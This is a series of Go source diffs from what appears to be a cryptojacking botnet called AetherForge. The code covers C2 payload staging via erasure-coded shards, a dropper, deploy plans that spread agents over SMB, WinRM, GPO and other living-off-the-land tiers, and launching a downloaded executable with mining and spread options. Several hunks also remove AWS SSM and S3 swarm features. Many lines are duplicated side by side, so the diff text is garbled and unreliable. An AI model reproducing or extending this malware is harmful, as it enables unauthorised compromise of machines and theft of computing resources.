ShardIndex: 0,
FetchURL: "mock://shard0",
}}) }})
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://shard0" {
return []byte("shard"), nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
if err != nil || string(body) != "shard" {
t.Fatalf("body=%v err=%v", body, err)
}
}
func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
dht.MergeFleetGossipRecords([]FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
})
prev := erasureFetchFn
var got string
erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
defer func() { erasureFetchFn = prev }()
_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
if err != nil || got != "mock://us" {
t.Fatalf("got=%q err=%v", got, err)
}
}
func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://cf" {
return []byte("cf"), nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
if err != nil || string(body) != "cf" {
t.Fatalf("body=%s err=%v", body, err)
}
}
func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
payload := []byte("fleet-torrent-roundtrip") payload := []byte("fleet-torrent-roundtrip")
p := erasureParams{DataShards: 2, ParityShards: 1} p := erasureParams{DataShards: 2, ParityShards: 1}
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards) enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
@@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
_ = enc.Encode(shards) _ = enc.Encode(shards)
prev := erasureFetchFn prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) { erasureFetchFn = func(url string) ([]byte, error) {
switch url { if url == "mock://shard0" {
case "mock://0":
return shards[0], nil return shards[0], nil
case "mock://1":
return shards[1], nil
case "mock://2":
return shards[2], nil
default:
return nil, nil
} }
if url == "mock://c2" {
return shards[1], nil
}
return nil, nil
} }
defer func() { erasureFetchFn = prev }() defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
if err != nil || string(body) != string(shards[0]) {
t.Fatalf("fetch=%v err=%v", body, err)
}
plan := ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
Shards: []ErasureShardRef{
{Index: 0, URL: "mock://c2"},
{Index: 1, URL: "mock://c2"},
{Index: 2, URL: "mock://c2"},
},
}
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
}})
erasureFetchFn = func(url string) ([]byte, error) {
switch url {
case "mock://shard0":
return shards[0], nil
case "mock://shard1":
return shards[1], nil
case "mock://c2":
return nil, nil
}
return nil, nil
}
prevLaunch := erasureLaunchFn prevLaunch := erasureLaunchFn
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil } erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
return "ok", nil
}
defer func() { erasureLaunchFn = prevLaunch }() defer func() { erasureLaunchFn = prevLaunch }()
SetFleetShardDHT(dht) SetFleetShardDHT(dht)
plan := ErasurePlanBody{ msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards, FleetTorrentEnabled: true, WorkerName: "w",
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1", }}, plan, "", "10.1.2")
Dest: t.TempDir() + `\w.exe`, Launch: "exe", if err != nil {
Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
}
if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
t.Fatal(err) t.Fatal(err)
} }
if msg == "" {
t.Fatal("empty msg")
}
}
func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
peers := []ShardPeer{
{AgentID: "a", Subnet: "10.0.0"},
{AgentID: "b", Subnet: "10.0.0"},
{AgentID: "c", Subnet: "10.0.0"},
{AgentID: "d", Subnet: "10.0.0"},
}
got := PickLANNeighborPeers(peers, "10.0.0", 3)
if len(got) != 3 {
t.Fatalf("len=%d", len(got))
}
}
func TestParseSwarmMagnetToken(t *testing.T) {
m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
t.Fatalf("token=%q", tok)
}
} }

View File

@@ -19,7 +19,6 @@ var DefaultLotlOnionTiers = []string{
"winrm", "winrm",
"linux", "linux",
"gpo", "gpo",
"ssm_document",
} }
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty. // NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
@@ -28,7 +27,7 @@ func NormalizeLotlTiers(raw []string) []string {
"vuln_recon": {}, "vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {}, "bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
} }
out := make([]string, 0, len(raw)) out := make([]string, 0, len(raw))
for _, t := range raw { for _, t := range raw {

View File

@@ -1,4 +1,4 @@
package main package main
import ( import (
"encoding/json" "encoding/json"
@@ -9,7 +9,6 @@ import (
"strings" "strings"
"crypto-miner-server/internal/alerts" "crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/erasure"
) )
type Config struct { type Config struct {
@@ -108,20 +107,6 @@ type ServerSettings struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet). // FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
AWSS3ShardBucket string `json:"aws_s3_shard_bucket,omitempty"`
AWSS3ShardRegion string `json:"aws_s3_shard_region,omitempty"`
AWSCloudFrontDomain string `json:"aws_cloudfront_domain,omitempty"`
AWSS3CRRDestBucket string `json:"aws_s3_crr_dest_bucket,omitempty"`
AWSS3CRRDestRegion string `json:"aws_s3_crr_dest_region,omitempty"`
AWSS3ReplicationRoleARN string `json:"aws_s3_replication_role_arn,omitempty"`
AWSAccountID string `json:"aws_account_id,omitempty"`
FargateBurstCampaign bool `json:"fargate_burst_campaign"`
FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
CloudMapService string `json:"cloud_map_service,omitempty"`
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
} }
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -1006,15 +991,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "fleet_torrent_enabled") { if in(srvKeys, "fleet_torrent_enabled") {
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
} }
if in(srvKeys, "fargate_burst_campaign") {
dst.Server.FargateBurstCampaign = src.Server.FargateBurstCampaign
}
if in(srvKeys, "fargate_burst_ttl_hours") && src.Server.FargateBurstTTLHours > 0 {
dst.Server.FargateBurstTTLHours = src.Server.FargateBurstTTLHours
}
if in(srvKeys, "fargate_burst_expires_at") {
dst.Server.FargateBurstExpiresAt = src.Server.FargateBurstExpiresAt
}
if in(srvKeys, "ai_endpoint") { if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint dst.Server.AIEndpoint = src.Server.AIEndpoint
} }
@@ -1132,32 +1108,6 @@ func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
} }
} }
func (c *Config) AWSSwarmSettings() erasure.AWSSwarmSettings {
if c == nil {
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{})
}
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
S3Bucket: c.Server.AWSS3ShardBucket,
CloudFrontDomain: c.Server.AWSCloudFrontDomain,
Region: c.Server.AWSS3ShardRegion,
})
}
func (c *Config) S3ShardCRRConfig() erasure.S3ShardConfig {
if c == nil {
return erasure.S3ShardConfig{}
}
return erasure.S3ShardConfig{
ShardBucket: strings.TrimSpace(c.Server.AWSS3ShardBucket),
ShardRegion: strings.TrimSpace(c.Server.AWSS3ShardRegion),
CRRDestBucket: strings.TrimSpace(c.Server.AWSS3CRRDestBucket),
CRRDestRegion: strings.TrimSpace(c.Server.AWSS3CRRDestRegion),
CloudFrontDomain: strings.TrimSpace(c.Server.AWSCloudFrontDomain),
ReplicationRoleARN: strings.TrimSpace(c.Server.AWSS3ReplicationRoleARN),
ReplicationAccountID: strings.TrimSpace(c.Server.AWSAccountID),
}
}
func (c *Config) PoolURL() string { func (c *Config) PoolURL() string {
proto := "stratum+tcp" proto := "stratum+tcp"
if c.Pool.UseTLS { if c.Pool.UseTLS {

View File

@@ -0,0 +1,92 @@
package api
import (
"strings"
"crypto-miner-server/internal/models"
)
type CloudInstanceMeta struct {
VpcID string `json:"vpc_id,omitempty"`
SubnetID string `json:"subnet_id,omitempty"`
Region string `json:"region,omitempty"`
}
func (m CloudInstanceMeta) present() bool {
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
}
func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta {
return CloudInstanceMeta{
VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region),
}
}
func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) {
meta = normalizeCloudInstanceMeta(meta)
if !meta.present() {
return
}
h.mu.Lock()
tel, ok := h.agentLiveTelemetry[agentID]
if !ok {
tel = map[string]interface{}{}
h.agentLiveTelemetry[agentID] = tel
}
tel["cloud_instance_meta"] = map[string]interface{}{
"vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region,
}
h.mu.Unlock()
}
func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta {
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok {
meta := CloudInstanceMeta{}
if v, ok := raw["vpc_id"].(string); ok {
meta.VpcID = v
}
if v, ok := raw["subnet_id"].(string); ok {
meta.SubnetID = v
}
if v, ok := raw["region"].(string); ok {
meta.Region = v
}
return normalizeCloudInstanceMeta(meta)
}
}
return CloudInstanceMeta{}
}
func primarySeederScope(clientIP string, meta CloudInstanceMeta) string {
if strings.TrimSpace(meta.VpcID) != "" {
return strings.TrimSpace(meta.VpcID)
}
return subnetPrefix24(clientIP)
}
func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool {
meta := h.agentCloudMetaLocked(agentID)
if meta.VpcID != "" {
return meta.VpcID == scope
}
return subnetPrefix24(h.agentIPLocked(agentID)) == scope
}
func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) {
if agent == nil {
return
}
meta := h.agentCloudMetaLocked(agentID)
if !meta.present() {
return
}
agent.CloudVpcID = meta.VpcID
agent.CloudSubnetID = meta.SubnetID
agent.CloudRegion = meta.Region
if role != "seeder" || primaryPick == "" {
return
}
primary := primaryPick == agentID
agent.VPCPrimarySeeder = &primary
}

View File

@@ -1,7 +1,6 @@
package api package api
import ( import (
"context"
"crypto/hmac" "crypto/hmac"
"crypto/sha256" "crypto/sha256"
"encoding/hex" "encoding/hex"
@@ -14,7 +13,6 @@ import (
"strings" "strings"
dbpkg "crypto-miner-server/internal/db" dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure" "crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter" "crypto-miner-server/internal/spreadrouter"
@@ -74,7 +72,6 @@ type DeployPlanBody struct {
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"` SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"` ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
SSMDocument string `json:"ssm_document,omitempty"`
} }
type deployPlanRequest struct { type deployPlanRequest struct {
@@ -105,10 +102,8 @@ type DeployPlanHandler struct {
fleetSecret func() string fleetSecret func() string
allowlist func() map[string]ServiceDeployLane allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler pathTracer *PathTracerHandler
erasureEnabled func() bool erasureEnabled func() bool
erasureShards *erasure.ShardStore erasureShards *erasure.ShardStore
awsSwarmSettings func() erasure.AWSSwarmSettings
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
} }
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler { func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled } h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
} }
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
h.awsSwarmSettings = settings
h.awsShardStore = store
}
// POST /api/v1/agent/deploy-plan // POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) { func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest var req deployPlanRequest
@@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
case "spread_smb_unc": case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath) body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64 body.MaxHosts = 64
case "ssm_document":
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.SSMDocument = bundle.Document
default: default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
} }
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane) body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil { if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err return DeployPlanBody{}, err
} }
@@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
if body.SpreadRouteHint != nil { if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true body.SpreadRouteHint.ErasureLanesEnabled = true
} }
shards := shardsFromStore(h.erasureShards, plan.ShardToken) if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
hashes := erasure.ShardContentHashes(shards) if body.SpreadRouteHint == nil {
if h.awsSwarmSettings != nil && h.awsShardStore != nil { body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
cfg := h.awsSwarmSettings()
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
if err != nil {
return err
}
if result != nil {
for i := range plan.Shards {
if i < len(result.EdgeURLs) {
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
}
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
}
}
}
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if body.SpreadRouteHint.SwarmMagnet == "" {
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
}
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
} }
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
} }
return nil return nil
} }
@@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
expected := hex.EncodeToString(mac.Sum(nil)) expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature)) return hmac.Equal([]byte(expected), []byte(signature))
} }
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
namespace = "prod.local"
service = "seeder"
if h.dataDir == "" {
return namespace, service
}
cfgPath := filepath.Join(h.dataDir, "config.json")
data, err := os.ReadFile(cfgPath)
if err != nil {
return namespace, service
}
var payload struct {
Server struct {
CloudMapNamespace string `json:"cloud_map_namespace"`
CloudMapService string `json:"cloud_map_service"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) != nil {
return namespace, service
}
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
namespace = ns
}
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
service = svc
}
return namespace, service
}
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
if body == nil {
return
}
ns, svc := h.cloudMapSettings()
routeVia := cloudmap.SeederDNSName(svc, ns)
if routeVia == "" {
return
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
body.SpreadRouteHint.RouteVia = routeVia
}
}

View File

@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
dropperHandler := NewDropperHandler(database, dataDir, nil) dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database) fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
} }
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
dropperHandler := NewDropperHandler(database, dataDir, nil) dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database) fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
} }
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -27,7 +27,7 @@ import (
) )
// authSessionCache avoids running bcrypt on every API request. // authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex ? value: expiry time. // Key: SHA-256(user+":"+password) hex value: expiry time.
// Entries are valid for authCacheTTL after the last successful login. // Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry. // Bcrypt only runs on cache miss or expiry.
var ( var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string { func formatLoginBanner(creds map[string]string) string {
var b strings.Builder var b strings.Builder
b.WriteString("\n????????????????????????????????????????????????????\n") b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString("? AetherForge ? Dashboard Login ?\n") b.WriteString(" AetherForge Dashboard Login \n")
b.WriteString("? ?\n") b.WriteString(" \n")
users := make([]string, 0, len(creds)) users := make([]string, 0, len(creds))
for user := range creds { for user := range creds {
users = append(users, user) users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users) sort.Strings(users)
for _, user := range users { for _, user := range users {
pass := creds[user] pass := creds[user]
fmt.Fprintf(&b, "? Username : %-34s?\n", user) fmt.Fprintf(&b, " Username : %-34s\n", user)
fmt.Fprintf(&b, "? Password : %-34s?\n", pass) fmt.Fprintf(&b, " Password : %-34s\n", pass)
b.WriteString("? ?\n") b.WriteString(" \n")
} }
b.WriteString("? Also saved in data/login-credentials.json ?\n") b.WriteString(" Also saved in data/login-credentials.json \n")
b.WriteString("? Change passwords in Calibrate ? Users. ?\n") b.WriteString(" Change passwords in Calibrate Users. \n")
b.WriteString("????????????????????????????????????????????????????\n") b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String() return b.String()
} }
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that ? only bare browser navigations without these headers should. // must not trigger that only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool { func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
} }
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path path := r.URL.Path
// Health check and one-liner installer endpoints are always open. // Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list ? // NOTE: build download/artifact routes are intentionally NOT in this list
// they require fleet-secret or Basic Auth (see isDownload block below). // they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" || if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only // in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints. // legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected ? the server auto- // A missing or empty fleet secret is always rejected the server auto-
// generates one at startup so this state should never occur in production. // generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") { if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock() fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return return
} }
// Fast path ? skip bcrypt if this credential pair was recently validated. // Fast path skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) { if !authCacheHit(user, pass) {
usersMu.RLock() usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized) http.Error(w, "Unauthorized", http.StatusUnauthorized)
return return
} }
// Credential verified ? cache it for the next few minutes. // Credential verified cache it for the next few minutes.
authCacheSet(user, pass) authCacheSet(user, pass)
} }
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}) })
} }
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir) ensureUsersLoaded(dataDir)
version := "AetherForge" version := "AetherForge"
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false, AllowCredentials: false,
})) }))
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open) // REST API auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) { r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware) r.Use(basicAuthMiddleware)
h := NewHandler(database) h := NewHandler(database)
@@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Config // Config
r.Get("/config", configHandler.ServeHTTP) r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP) r.Put("/config", configHandler.ServeHTTP)
if erasureSwarmHandler != nil {
r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
